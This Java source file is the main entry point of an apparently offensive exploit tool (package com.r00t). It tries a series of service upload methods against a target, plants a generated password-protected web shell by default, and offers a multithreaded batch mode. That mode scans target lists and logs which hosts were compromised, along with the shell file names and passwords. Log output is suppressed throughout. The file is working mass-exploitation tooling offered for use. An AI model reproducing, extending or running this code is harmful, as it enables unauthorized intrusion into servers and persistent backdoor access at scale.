content: package com.r00t;
  
  import com.r00t.cli.CommandLineParser;
  import com.r00t.core.BatchScanExecutor;
  import com.r00t.core.ExploitExecutor;
  import com.r00t.model.ServiceConfig;
  import com.r00t.util.FileUtils;
  import com.r00t.util.FilteredPrintStream;
  import org.apache.commons.cli.ParseException;
  
  import java.io.BufferedReader;
  import java.io.IOException;
  import java.nio.charset.StandardCharsets;
  import java.nio.file.Files;
  import java.nio.file.Paths;
  import java.text.SimpleDateFormat;
  import java.util.ArrayList;
  import java.util.Date;
  import java.util.List;
  
  /**
   * Main class
   * for exploit
   */
  public class Main {
  
      public static void main(String[] args) {
          // Suppress log output
          suppressLogs();
          System.setErr(new FilteredPrintStream());
          try {
              // Parse command line arguments
              CommandLineParser parser = new CommandLineParser();
              CommandLineParser.CommandLineResult result = parser.parse(args);
  
              if (result.shouldShowHelp()) {
                  parser.printHelp();
                  return;
              }
  
              if (result.hasError()) {
                  System.out.println("Error: " + result.getErrorMessage());
                  return;
              }
  
              // Execute exploit
              if (result.isBatchMode()) {
                  executeBatchScan(result.getTargetListPath(), result.getInputFilePath(), result.getOutputFilePath(), result.getThreadCount());
              } else {
                  executeExploit(result.getTarget(), result.getInputFilePath());
              }
  
          } catch (ParseException e) {
              System.out.println("Argument parsing error: " + e.getMessage());
          } catch (Exception e) {
              System.out.println("Execution error: " + e.getMessage());
          }
      }
  
      /**
       * Execute main exploit process
       */
      private static void executeExploit(String target, String inputFilePath) throws IOException {
          ExploitExecutor executor = new ExploitExecutor();
  
          // Prepare file content
          byte[] originalContent;
          if (inputFilePath != null && !inputFilePath.isEmpty()) {
              originalContent = FileUtils.readFile(inputFilePath);
          } else {
              String webShell = FileUtils.generateWebShell(executor.getRandomPassword());
              originalContent = webShell.getBytes();
          }
  
          // Compress file content
          byte[] zipOriginalContent = FileUtils.readAndCompressFile(inputFilePath, originalContent);
  
          // Get all service configurations
          ServiceConfig[] services = ServiceConfig.getAllServiceConfigs();
  
          // Try each service
          for (ServiceConfig serviceConfig : services) {
              byte[] contentToUse = serviceConfig.isWriteDocToXMLFileMethod() ? originalContent : zipOriginalContent;
              if (executor.executeExploit(inputFilePath, target, serviceConfig, contentToUse)) {
                  System.exit(0);
                  return;
              }
          }
          System.out.println("Vulnerability may be fixed....");
      }
  
      /**
       * Execute batch scan
       */
      private static void executeBatchScan(String targetListPath, String inputFilePath, String outputFilePath, int threadCount) throws IOException {
          // Determine final output file path
          String finalOutputPath = outputFilePath;
          if (finalOutputPath == null || finalOutputPath.isEmpty()) {
              // Auto-generate timestamped result file name
              SimpleDateFormat sdf = new SimpleDateFormat("yyyyMMdd_HHmmss");
              finalOutputPath = "scan_results_" + sdf.format(new Date()) + ".txt";
          }
          
          // Load target list first to get total count
          List<String> targets = loadTargets(targetListPath);
          int totalTargets = targets.size();
          
          BatchScanExecutor batchExecutor = new BatchScanExecutor(threadCount, finalOutputPath, totalTargets);
          
          try {
              List<BatchScanExecutor.ScanResult> results = batchExecutor.executeBatchScan(targetListPath, inputFilePath);
              
              // Display scan result summary
              int successfulTargets = (int) results.stream().filter(BatchScanExecutor.ScanResult::isSuccess).count();
              
              System.out.println("\n=== Batch Scan Completed ===");
              System.out.println("Total targets: " + totalTargets);
              System.out.println("Successful: " + successfulTargets);
              System.out.println("Failed: " + (totalTargets - successfulTargets));
              
              // Display successful targets
              if (successfulTargets > 0) {
                  System.out.println("\n=== Successful Targets ===");
                  for (BatchScanExecutor.ScanResult result : results) {
                      if (result.isSuccess()) {
                          System.out.println("Target: " + result.getTarget());
                          System.out.println("  Service: " + result.getServiceName());
                          System.out.println("  Method: " + result.getMethodName());
                          System.out.println("  File: " + result.getFileName());
                          if (result.getPassword() != null) {
                              System.out.println("  Password: " + result.getPassword());
                          }
                          System.out.println();
                      }
                  }
              }
              
              System.out.println("Scan results have been saved in real-time to: " + finalOutputPath);
              
          } catch (Exception e) {
              System.out.println("Batch scan execution error: " + e.getMessage());
          }
      }
      
      /**
       * Load target list
       */
      private static List<String> loadTargets(String targetListPath) throws IOException {
          List<String> targets = new ArrayList<>();
          try (BufferedReader reader = Files.newBufferedReader(Paths.get(targetListPath), StandardCharsets.UTF_8)) {
              String line;
              while ((line = reader.readLine()) != null) {
                  line = line.trim();
                  if (!line.isEmpty() && !line.startsWith("#")) {
                      // Ensure URL format is correct
                      if (!line.startsWith("http://") && !line.startsWith("https://")) {
                          line = "http://" + line;
                      }
                      targets.add(line);
                  }
              }
          }
          return targets;
      }
      
      /**
       * Suppress log output
       */
      private static void suppressLogs() {
          try {
              System.setProperty("log4j.configuration", "file:log4j.properties");
              System.setProperty("log4j.rootLogger", "OFF");
              System.setProperty("log4j.logger.nc", "OFF");
              System.setProperty("org.apache.commons.logging.Log", "org.apache.commons.logging.impl.NoOpLog");
              System.setProperty("org.slf4j.simpleLogger.defaultLogLevel", "error");
          } catch (Exception ignored) {}
      }
  
  }